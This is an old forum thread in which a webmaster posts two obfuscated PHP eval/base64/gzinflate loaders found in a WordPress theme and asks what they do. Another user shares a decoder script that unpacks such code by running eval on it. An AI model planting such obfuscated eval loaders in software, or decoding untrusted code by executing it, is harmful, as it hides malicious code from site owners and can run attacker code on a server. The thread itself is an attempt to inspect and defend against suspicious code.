Decode this - GoFuckYourself.com

Davy · 05-11-2008, 09:30 AM

Anybody know what this code does?

PHP Code:


			
<?php eval(gzinflate(base64_decode('tZLBasQgEIbPzVMMuSS9rLDH1prDnnvZLPQYks1kFYyKmoZ9+05j3cJSaC8VxHH8//EbmEYUD7S4VoLLvXjF2HNGQcouOgXpvQfpcXopeeOkg0HbizKTrSsfwr5bvK4en6ERJUQVNWZZh3XVXs2ozn1EiFIFCIqiJShzgWPbfrnEt5z3w+BzlSP2Wl+hVbPTCLmSsqYUZObsUytSDbrQJtI/MJ/tPKOJofsV/iQRNLGHCNkE0QJRgbOBLsr83MYhq/+jHxmje2JsXdfd6qLEGcPkEXeEyG5NvFk/Oo8hwGlTlOI+c//FBr+6bqY5qDeINAgsT0ISF7cUZ6N6F0U6NnsBHw==')));?>

Found it in a wordpress theme. I am glad I checked it before uploading.

Davy · 05-11-2008, 09:38 AM

Found another dubious code in the same theme set:

PHP Code:


			
<?php $_F=__FILE__;$_X='Pz4JCQkJPC9kNHY+DQoJCQk8L2Q....';

eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Too long to show on here...

budz · 05-11-2008, 11:01 AM

PHP Code:


			
<? 

$filename = "encoded.php";

echo  "1. checking files <br />\n";

if (!file_exists($filename)) 

{

echo "error , file encoded.php is not uploaded.<br />\n";



if

(!is_writable($filename))

echo "error , file decoded.txt is not writable. chmod it to 0777 or 777.<br />\n";

exit();

}

else

{

$fp1  =  fopen  ( $filename ,  "r" ); 

$contents  =  fread  ( $fp1 ,  filesize ( $filename )); 

fclose ( $fp1 ); 

echo  "2. Decoding encoded.php<br />\n"; 

while ( preg_match ( "/eval\(gzinflate/" , $contents )) { 

$contents = preg_replace ( "/<\?|\?>/" ,  "" ,  $contents ); 

eval( preg_replace ( "/eval/" ,  "\$contents=" ,  $contents )); 

}

echo  "3. Copying source data to decoded.txt. click below to view source data.<br />\n" ; 

$fp2  =  fopen ( "decoded.txt" , "w" ); 

fwrite ( $fp2 ,  trim ( $contents )); 

fclose ( $fp2 ); 

echo "<center>\n";

echo "<form action=\"decoded.txt\" method=\"post\">\n";

echo "<input type=\"submit\" value=\"View Source Code\" /><br />\n";

echo "<br/ ><br/ >\n";echo "<a href=\"http://www.haryanahome.info\">HaryanaHome.info</a>\n";

echo "</form>\n";

echo "</center>";

}

?>

Quote:

Requirement: Just any version of PHP.
Note: I am not author of this script. credit goes to Jurgan(the mastermind).I have just made it easy and compitable with all PHP version.
Please dont use this script for removing copyrights and any illigal task.
Respect others hardwork..
It is just for education purpose.
The package contains 4 files:
1. readme.txt
2. index.php
3. decoded.txt the blank file which will copy your source code.
4. encoded.php An example encoded script.
Remember you may have text like <!-- Copyright info and rules//-> Remove it before starting your decoding. Your encoded script should look like this <? eval(gzinflate(base64_decode('
DZVFEqQIAAS/MreZCQ7QOLEy...')); ?> or <? eval(gzinflate(str13(base64_decode('
DZVFEqQIAAS/MreZCQ7QOLEy...'))); ?>

Procedure:
1. All you need to do ,just upload these two files (index.php & decoded.txt to any of your server directory.
2. Chmod the blank file decoded.txt to 0777 or 777.
3. Rename the script you want to decode to encoded.php and put in the same directory as decoded.txt and index.php are.
4. Point your browser to www.yoursite.com/dir where 3 files are/index.php
5. You will get the source code in hand .enjoy
6. you are free to edit and modify but be careful as it is case sensitive.Dont loose orginal file. Offcorse all credit goes to jurgan.

hope this helps..

budz · 05-11-2008, 11:03 AM

Source:

http://haryanahome.info/forum/showpo...=3&postcount=1

05-11-2008, 09:30 AM	#1
Davy Confirmed User Industry Role: Join Date: Apr 2006 Location: Germany Posts: 4,323	Decode this Anybody know what this code does? PHP Code: `<?php eval(gzinflate(base64_decode('tZLBasQgEIbPzVMMuSS9rLDH1prDnnvZLPQYks1kFYyKmoZ9+05j3cJSaC8VxHH8//EbmEYUD7S4VoLLvXjF2HNGQcouOgXpvQfpcXopeeOkg0HbizKTrSsfwr5bvK4en6ERJUQVNWZZh3XVXs2ozn1EiFIFCIqiJShzgWPbfrnEt5z3w+BzlSP2Wl+hVbPTCLmSsqYUZObsUytSDbrQJtI/MJ/tPKOJofsV/iQRNLGHCNkE0QJRgbOBLsr83MYhq/+jHxmje2JsXdfd6qLEGcPkEXeEyG5NvFk/Oo8hwGlTlOI+c//FBr+6bqY5qDeINAgsT0ISF7cUZ6N6F0U6NnsBHw==')));?>` Found it in a wordpress theme. I am glad I checked it before uploading. __________________ --- ICQ 14-76-98 <-- I don't use this at all

05-11-2008, 09:38 AM	#2
Davy Confirmed User Industry Role: Join Date: Apr 2006 Location: Germany Posts: 4,323	Found another dubious code in the same theme set: PHP Code: `<?php $_F=__FILE__;$_X='Pz4JCQkJPC9kNHY+DQoJCQk8L2Q....'; eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>` Too long to show on here... __________________ --- ICQ 14-76-98 <-- I don't use this at all

05-11-2008, 11:03 AM	#4
budz Disruptive Innovator Industry Role: Join Date: Sep 2003 Location: Vegas Posts: 4,230	Source: http://haryanahome.info/forum/showpo...=3&postcount=1 __________________ C:\Code\ C:\Code\Run\